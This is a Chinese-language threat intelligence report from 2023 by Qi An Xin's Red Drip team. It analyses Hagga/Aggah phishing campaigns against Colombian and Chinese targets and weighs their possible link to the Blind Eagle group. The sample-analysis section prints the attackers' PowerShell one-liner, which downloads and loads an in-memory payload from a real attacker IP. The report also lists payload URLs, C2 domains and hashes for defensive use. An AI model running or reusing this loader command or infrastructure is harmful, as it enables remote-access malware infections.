盲眼鷹的子組？來自Hagga組織的近期攻擊活動(dòng)分析
一、團(tuán)伙背景Hagga Aggah組織Hagga是一個(gè)以信息竊取為動(dòng)機(jī)的威脅組織，2019年3月首次被Unit42的研究人員公
2023-05-18盲眼鷹的子組？來自Hagga組織的近期攻擊活動(dòng)分析
一、團(tuán)伙背景
(資料圖)
Hagga/Aggah組織
Hagga是一個(gè)以信息竊取為動(dòng)機(jī)的威脅組織，2019年3月首次被Unit 42的研究人員公開披露[1]。研究人員最初認(rèn)為該活動(dòng)是針對(duì)中東國(guó)家內(nèi)部組織進(jìn)行的攻擊活動(dòng)。進(jìn)一步研究表明，這項(xiàng)活動(dòng)可能是規(guī)模更大活動(dòng)的一部分，該活動(dòng)不僅影響中東地區(qū)，而且影響美國(guó)以及整個(gè)歐洲和亞洲，Unit 42將其稱為Aggah活動(dòng)。早期的攻擊活動(dòng)當(dāng)木馬向C2服務(wù)器發(fā)送數(shù)據(jù)時(shí)，會(huì)使用字符串“hagga”分割信息，并且該字符串與活動(dòng)中托管有效負(fù)載信息的PasteBin帳戶同名，由此該活動(dòng)被命名為Aggah。后來國(guó)外安全研究人員披露的文章以Hagga/Aggah來指代該組織，下文描述中我們將采用Hagga這一名稱。
Unit 42最開始認(rèn)為，由于TTP相似性以及使用Revenge RAT，Hagga與Gorgon Group存在關(guān)聯(lián)。Gorgon Group是一個(gè)以西方政府為目標(biāo)而聞名的巴基斯坦組織。然而，在那次調(diào)查中沒有觀察到突出的Gorgon Group指標(biāo)，因此Unit 42無法正式將Hagga與Gorgon Group聯(lián)系起來。
Hagga自2019年以來一直活躍，最早可追溯至2018年，并通常在攻擊活動(dòng)中使用相同的TTP，早期攻擊活動(dòng)該組織曾使用Internet Archive、Pastebin和Blogspot來托管惡意腳本和有效載荷，通常是RevengeRAT，后續(xù)陸續(xù)觀察到的RAT包括有LimeRAT、NjRAT、AsyncRAT、NanoCoreRAT、RemcosRAT、Agent Tesla等。
下圖是Hagga組織歷年來被公開披露的活動(dòng)事件。
盲眼鷹(APT-Q-98)
盲眼鷹（奇安信內(nèi)部組織編號(hào)APT-Q-98）是奇安信獨(dú)立發(fā)現(xiàn)并率先披露的APT組織。盲眼鷹組織是一個(gè)疑似來自南美洲的、主要針對(duì)哥倫比亞的APT組織，該組織自2018年4月起至今，針對(duì)哥倫比亞政府機(jī)構(gòu)和大型公司（金融、石油、制造等行業(yè)）等重要領(lǐng)域展開了有組織、有計(jì)劃、針對(duì)性的長(zhǎng)期不間斷攻擊。
早期盲眼鷹組織的TTP是通過入侵西班牙語網(wǎng)站或者注冊(cè)有隱私保護(hù)的域名并上傳用于攻擊的載荷文件和文檔，將帶有惡意宏的MHTML格式的Office Word誘餌文檔通過RAR加密后配合魚叉郵件對(duì)目標(biāo)進(jìn)行投遞，然后將RAR解壓密碼附帶在郵件正文中，具有很好的躲避郵件網(wǎng)關(guān)查殺的效果。盲眼鷹組織常偽裝成哥倫比亞國(guó)家民事登記處、哥倫比亞國(guó)家稅務(wù)和海關(guān)總署、哥倫比亞國(guó)家統(tǒng)計(jì)局、哥倫比亞國(guó)家網(wǎng)絡(luò)警察局、哥倫比亞國(guó)家司法部門，對(duì)哥倫比亞的政府、金融機(jī)構(gòu)，本國(guó)大型企業(yè)或跨國(guó)公司的哥倫比亞分公司進(jìn)行攻擊，使用商業(yè)木馬對(duì)目標(biāo)進(jìn)行遠(yuǎn)程控制，并采用了基于動(dòng)態(tài)域名的遠(yuǎn)程控制技術(shù)，其最終目的是植入后門以實(shí)現(xiàn)對(duì)目標(biāo)計(jì)算機(jī)的控制，為接下來的橫向移動(dòng)提供基礎(chǔ)。
一直以來，Hagga組織與盲眼鷹組織被當(dāng)成兩個(gè)獨(dú)立的組織進(jìn)行追蹤，但是Hagga組織與盲眼鷹組織的TTP保持有一定的相似性，并且兩者最終載荷多為商業(yè)木馬或者開源木馬，導(dǎo)致難以對(duì)兩者從TTP上進(jìn)行區(qū)分?，F(xiàn)階段暫時(shí)沒有強(qiáng)有力的證據(jù)證明Hagga組織與盲眼鷹組織的關(guān)系，但國(guó)外有安全研究員猜測(cè)Hagga組織可能會(huì)出售自己的黑客服務(wù)[2]。
二、調(diào)查起因
奇安信威脅情報(bào)中心紅雨滴團(tuán)隊(duì)一直以來都在對(duì)全球各大APT組織進(jìn)行追蹤，在對(duì)南美洲相關(guān)APT組織盲眼鷹(APT-Q-98)進(jìn)行追蹤時(shí)我們發(fā)現(xiàn)，自2022年至今，從哥倫比亞上傳了上百個(gè)誘餌pdf文件，這些誘餌pdf大多通過電子郵件進(jìn)行傳播，這些誘餌常偽裝成哥倫比亞的相關(guān)機(jī)構(gòu)，包括哥倫比亞司法部門、稅務(wù)和海關(guān)總局、哥倫比亞銀行Davivienda、財(cái)務(wù)部、交通部、律師事務(wù)所等。這些pdf文件在正文中嵌入了壓縮包密碼，并誘導(dǎo)受害者點(diǎn)擊短鏈接下載壓縮包，解壓后點(diǎn)擊執(zhí)行偽裝為pdf的VBS腳本，從而開啟一個(gè)復(fù)雜的多階段無文件感染鏈，最終加載遠(yuǎn)控軟件。
初始攻擊誘餌郵件的語言為西班牙語。
偽裝成哥倫比亞SIMIT綜合信息處理系統(tǒng)交通事故的罰款和處罰通知。
偽裝成哥倫比亞銀行Davivienda發(fā)布的禁運(yùn)通知。
偽裝成哥倫比亞財(cái)務(wù)部、稅務(wù)和海關(guān)總署對(duì)個(gè)人所得稅問題的通知。
偽裝成哥倫比亞最高法院司法委員會(huì)司法傳票通知。
最開始的時(shí)候，我們調(diào)查了大量的誘餌文件，由于其TTP與盲眼鷹幾乎保持一致，其誘餌文件使用西班牙語編寫，并且都從哥倫比亞上傳，這一切都符合盲眼鷹的攻擊目標(biāo)和技術(shù)特征，我們便將這些攻擊活動(dòng)歸屬到了盲眼鷹組織。
后續(xù)在對(duì)這些文件進(jìn)行分析時(shí)，我們發(fā)現(xiàn)其中有個(gè)IP地址172.174.176.153有個(gè)開放目錄被用來存放后續(xù)載荷，這與國(guó)外友商BlackBerry在披露盲眼鷹活動(dòng)中的博客相一致[3]。然而在一段時(shí)間之后，這個(gè)IP的開放目錄的托管內(nèi)容更新了，這引起了我們的注意。
在對(duì)新的載荷進(jìn)行分析后，我們發(fā)現(xiàn)其仍然是盲眼鷹組織常用的C#注入器。然而當(dāng)天我們看到與該IP有關(guān)的一個(gè)新的釣魚郵件，根據(jù)內(nèi)容疑似是對(duì)中國(guó)某企業(yè)進(jìn)行魚叉攻擊。不過不論是郵件內(nèi)容，還是誘餌附件內(nèi)容的契合度，看起來都相當(dāng)?shù)拇植?，以至于更像是源自普通黑客團(tuán)伙，而不像專業(yè)的APT組織。
回顧盲眼鷹自披露以來的攻擊活動(dòng)，我們并沒有發(fā)現(xiàn)其有攻擊過中國(guó)的例子。但這封攻擊郵件的到來，使我們不得不重新審視曾經(jīng)歸屬于盲眼鷹的攻擊活動(dòng)背后的組織。
三、活動(dòng)歸屬
早在2019年我們公開披露盲眼鷹的攻擊活動(dòng)時(shí)，就曾在博客中公開了盲眼鷹的TTP[4]。
下圖是友商在2022年披露的盲眼鷹攻擊流程圖[5]。
我們將此次Hagga組織攻擊活動(dòng)的攻擊鏈用以下流程圖進(jìn)行表示。
可以看到的是，此次攻擊活動(dòng)從TTP上來看與盲眼鷹以往的TTP大體保持一致，不僅改良了部分活動(dòng)的細(xì)節(jié)，還擴(kuò)展了初始攻擊的誘餌文檔，包括攜帶漏洞的office文檔，免殺效果極好的誘餌pdf文檔等，區(qū)別在于最終加載的RAT有所變化。
通過上面的對(duì)比可以看到，我們沒法把盲眼鷹組織與Hagga組織從TTP上區(qū)分開來，我們?cè)噲D通過下面的一些細(xì)節(jié)來進(jìn)行歸屬。
(1) 攻擊目標(biāo)
已知的盲眼鷹組織主要攻擊位于哥倫比亞境內(nèi)，以及南美的一些地區(qū)，如厄瓜多爾、巴拿馬、智利等。而已知的Hagga組織攻擊目標(biāo)包括中東、歐洲、亞洲、美洲等地區(qū)的國(guó)家。雖然捕獲的樣本大部分來自哥倫比亞地區(qū)，但由于捕獲到了針對(duì)中國(guó)企業(yè)的攻擊樣本，加上Hagga組織先前有攻擊中國(guó)臺(tái)灣的先例[6]，所以我們更傾向于是Hagga組織。
(2) 托管惡意載荷IP的一些相似性
托管惡意載荷的IP：172.174.176.153與友商披露Hagga組織托管的惡意載荷有相同目錄結(jié)構(gòu)和名稱后綴[7]。
2022年國(guó)外友商披露Hagga組織似乎正在使用XAMPP作為Web服務(wù)器，在Windows虛擬服務(wù)器上托管Mana Tools C2面板[8]。而其托管惡意載荷的IP：172.174.176.153同樣在使用XAMPP，并且同樣使用了3306端口(MySQL服務(wù)器的默認(rèn)端口)。
(3) 魚叉郵件使用的語言以及發(fā)件地址
盲眼鷹組織主要使用西班牙語制作誘餌進(jìn)行攻擊，而此次魚叉郵件使用的是英語。另外捕獲郵件的實(shí)際發(fā)件域名為slot0.cedarstz.top，該域名解析到IP：185.28.39.60，該IP被我們標(biāo)記成了僵尸網(wǎng)絡(luò)。早在2020年，國(guó)外友商就曾發(fā)文描述Hagga組織如何在不租用服務(wù)器的情況下運(yùn)行僵尸網(wǎng)絡(luò)[9]。
(4) 使用的商業(yè)木馬
目前看到Hagga組織使用的商業(yè)木馬或開源木馬包括RevengeRAT、LimeRAT、NjRAT、AsyncRAT、NanoCoreRAT、WarzoneRAT、RemcosRAT、Agent Tesla等，而盲眼鷹組織目前看到使用的木馬包括LimeRAT、NjRAT、AsyncRAT、Imminent Monitor RAT、QuasarRAT等。從現(xiàn)有的報(bào)告來看，Hagga組織使用的木馬集合是大于盲眼鷹組織的，也就是說Hagga組織的活動(dòng)范圍、頻率這些都較盲眼鷹組織更廣闊一些。
四、一些猜想
(1) 可能一：Hagga組織是盲眼鷹組織的子組？
從TTP上來看，兩者太相似了。在針對(duì)哥倫比亞進(jìn)行魚叉式釣魚攻擊是均使用西班牙語；均從公共存儲(chǔ)庫下載有效載荷；C2均是動(dòng)態(tài)域名；均使用公開的商業(yè)木馬來作為最終載荷；均以竊取信息為目標(biāo)。
雖然沒有強(qiáng)有力的證據(jù)證明Hagga組織與盲眼鷹組織兩者的關(guān)系，但我們猜想或許Hagga組織與盲眼鷹組織為互補(bǔ)關(guān)系，一個(gè)主要對(duì)哥倫比亞展開攻擊，另外一個(gè)建立僵尸網(wǎng)絡(luò)，對(duì)全球一些主要國(guó)家都感興趣。
(2) 可能二：Hagga組織向盲眼鷹組織提供網(wǎng)絡(luò)武器？
2020年，Hagga組織不僅針對(duì)歐洲展開攻擊，還被安全研究員發(fā)現(xiàn)Hagga組織開始開展比特幣竊取活動(dòng)，在最新的活動(dòng)中，攻擊者選擇冒充歐洲、中東和亞洲的B2B公司，這表明他們的攻擊目標(biāo)并不局限于特定地區(qū)。受害者的部門和位置還表明，攻擊者試圖破壞從制造業(yè)到農(nóng)業(yè)等各個(gè)行業(yè)的企業(yè)。
此外，在medium平臺(tái)上，Paul Burbage指出，Hagga組織向尼日利亞威脅行為者出售或免費(fèi)提供惡意軟件，這與他們發(fā)現(xiàn)的數(shù)據(jù)相吻合[10]。這表明Hagga組織同樣有可能向盲眼鷹組織出售其TTP和惡意軟件。
(3) 可能三：模仿TTP？
縱觀整個(gè)攻擊鏈，無論是托管的平臺(tái)，還是VBS、Powershell、C#代碼，這對(duì)逆向工程師來說，相當(dāng)于開源代碼，可直接復(fù)制后調(diào)試使用，不能排除有模仿TTP的可能。
五、樣本分析
上述魚叉郵件中的附件INV20230503.xlsx是攜帶CVE-2017-11882漏洞的文檔，通過漏洞訪問109.206.240.64掛載的GEE.vbs，然后在%appdata%目錄下釋放KJH.vbs并執(zhí)行，KJH.vbs最終調(diào)用powershell向172.174.176.153請(qǐng)求new_rump_vb.net.txt來執(zhí)行。
其中109.206.240.64掛載的GEE.vbs內(nèi)嵌大量無害甚至開源的代碼，真正的惡意代碼隱藏在其中，并且僅占用幾行。
這段VBS代碼的功能是調(diào)用PowerShell來執(zhí)行以下代碼：
powershell.exe [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString("http://172.174.176.153/dll/new_rump_vb.net.txt"));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType("Fiber.Home").GetMethod("VAI").Invoke($null, [object[]] ("04*●*?#:?ITS!}(ú?}(ú?(@@*ú4*●*?#:?4}???4*●*?#:?∞*▲?(∞*▲?(.∞*▲?(???√?}П?sap4*●*?#:?4*●*?#:???e}↓→+?sp???√?}П????√?}П?↓*(▲?@*?","1","2No3me_3tartup"))掛載在172.174.176.153下的new_rump_vb.net.txt使用Base64進(jìn)行編碼，并使用Eziriz .NET Reactor進(jìn)行殼保護(hù)。
PowerShell腳本調(diào)用VAI函數(shù)，在函數(shù)內(nèi)部首先替換字符串，下載后階段載荷。其中替換的字符串較為固定，在我們追蹤的過程中，較長(zhǎng)時(shí)間都未曾更換，為此我們復(fù)制其代碼專門創(chuàng)建了一個(gè)字符串替換函數(shù)。
向https://paste.ee/d/2cSTI/0下載后續(xù)載荷，最終創(chuàng)建傀儡進(jìn)程運(yùn)行。
最終的注入的載荷為RemcosRAT。
值得一提的是，自5月1日new_rump_vb.net.txt上傳以來，短短半個(gè)月，已知的就已經(jīng)出現(xiàn)了66個(gè)與之相關(guān)的惡意文檔，包括xlsx、RTF格式的誘餌文檔，RAR、VBS格式的執(zhí)行文檔，甚至還有HTML頁面。
六、總結(jié)
通過追蹤發(fā)現(xiàn)，以及對(duì)開源報(bào)告的梳理，我們覺得盲眼鷹與Hagga組織TTP過于相似，或許它倆混雜在一起，令人難以區(qū)分開來。在沒有確鑿證據(jù)的前提下，我們提出了一些猜想，希望在后續(xù)的威脅狩獵過程中可以發(fā)現(xiàn)更多線索來佐證猜想。鑒于APT組織攻擊的復(fù)雜性，以及Hagga組織對(duì)全球主要國(guó)家的無差別攻擊，奇安信威脅情報(bào)中心會(huì)對(duì)其進(jìn)行長(zhǎng)期的溯源和跟進(jìn)，及時(shí)發(fā)現(xiàn)安全威脅并快速響應(yīng)處置。
APT組織攻擊一直以來對(duì)于國(guó)家和企業(yè)來說都是一個(gè)巨大的網(wǎng)絡(luò)安全威脅，通常由某些人員精心策劃，出于商業(yè)或政治動(dòng)機(jī)，針對(duì)特定組織或國(guó)家，并且會(huì)在長(zhǎng)時(shí)間的攻擊活動(dòng)中保持高度的隱蔽性，需時(shí)刻提防。
七、防護(hù)建議
奇安信威脅情報(bào)中心提醒廣大用戶，謹(jǐn)防釣魚攻擊，切勿打開社交媒體分享的來歷不明的鏈接，不點(diǎn)擊執(zhí)行未知來源的郵件附件，不運(yùn)行標(biāo)題夸張的未知文件，不安裝非正規(guī)途徑來源的APP。做到及時(shí)備份重要文件，更新安裝補(bǔ)丁。
若需運(yùn)行，安裝來歷不明的應(yīng)用，可先通過奇安信威脅情報(bào)文件深度分析平臺(tái)（https://sandbox.ti.qianxin.com/sandbox/page）進(jìn)行判別。目前已支持包括Windows、安卓平臺(tái)在內(nèi)的多種格式文件深度分析。
目前，基于奇安信威脅情報(bào)中心的威脅情報(bào)數(shù)據(jù)的全線產(chǎn)品，包括奇安信威脅情報(bào)平臺(tái)（TIP）、天擎、天眼高級(jí)威脅檢測(cè)系統(tǒng)、奇安信NGSOC、奇安信態(tài)勢(shì)感知等，都已經(jīng)支持對(duì)此類攻擊的精確檢測(cè)。
八、部分IOC
MD5
8b4f37321a0943710991cfcb3b9b7190
ca6e616516964c35a0029bd051433945
19cfa6cb0add650c185be261ec837c30
92f37f5ac6d35f6f3648cfa468adbffb
b12dd8f3f0b4212ff6cbcbf953cd0c3d
fcda30f5e20e58c4488d0df22a5394c7
d1e0b8fd32607d972bf7ab08d3320bf7
79a9db31615e2b361f71b59dc38f7662
7824c8d9d48574a486b3ec2a61366365
4ea92c0e20bdc3b2260e8aebbdff29b5
b74d4df1edcc90c7f87ed1e317c65374
4ecbe5d483acc108ef3d4da1d0059667
e2b587346c7ba0df3d7656bf9c7fdd9b
a31a7e05c61a8714ff19069783e58b9d
994d66210dc9bf9cb7cec98ef74851a1
e0138ce3c2ad2a6a5526c925a491b336
6a97a1e05e95160145ee9eb8f565183e
a0855f2c4380b341f52bc20234ef51ef
476b807185039dc3757357c152b591d8
a53fd55368da169f33c0c6627a8aed6e
654b91ef5cac54600b778d7c6be61e91
ddb48789abe7a64fc57602447429f1aa
baebfc034c16952a7f03e3f3f1098e55
8c9632cc3a6b9b200c32eadf2037a531
ca79dc9ed70ffa093ef6fd9329340c26
9083644ca81cee6b82cf47eadb0205f6
5bc94fc42ecb7f2251105b6594ad8c23
436dfd3124389a33003d110611d40e0a
ea078b7cb5f046ca1391fff5e854a803
0e158df9d670f7fd3c6e307cf3a5115c
bd56581e6aa04b2d326b7fa61d9de59a
781d4bb9c2d7c0db25bae7228950e9ba
2871b39fa86ec78cba889f49878a2aa7
bf8f015801c158f139cc224b73a44efe
a7fc8d377baa2c48338c92ab155e2ebb
2734bf79d4e97db0d2bbb3a9d36001e9
08441cf0620348e6883f637d66f1c85e
72f2d66b0e2488f909adc83011344ad7
74490857d1514e063b83cb41176f8e83
d5e7e28df1eb397fe1d9fd5ab0963117
ebcc4866e1998c791921282b5a796b0e
4e22e125dd1e19f9205f0a55bea3ceca
da683e9d524b18d9912cb861e0e0d3ed
d16261e50f2006b2269c192e8f54de0c
7b9d0e8d2e36443f119637ebfc3064c8
dfcf236ba98c04e4eb880ed7ced53e5f
C&C
5.42.199.235
172.174.176.153
195.178.120.24
109.206.240.64
proccesupdate.duckdns.org:3460
potter1024.duckdns.org:1024
system88.duckdns.org:7777
九、參考鏈接
[1].https://unit42.paloaltonetworks.com/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign/
[2].https://yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/
[3].https://blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia
[4].https://ti.qianxin.com/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations/
[5].https://mp.weixin.qq.com/s/mTmJLHYC9bJDnphf_52JmA
[6].https://www.anomali.com/blog/aggah-using-compromised-websites-to-target-businesses-across-asia-including-taiwan-manufacturing-industry
[7].https://marcoramilli.com/2022/11/21/is-hagga-threat-actor-abusing-fsociety-framework/
[8].https://www.team-cymru.com/post/an-analysis-of-infrastructure-linked-to-the-hagga-threat-actor
[9].https://yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/
[10].https://medium.com/@paul.k.burbage/aggah-not-exactly-apt-5e51aaff95f5
標(biāo)簽：
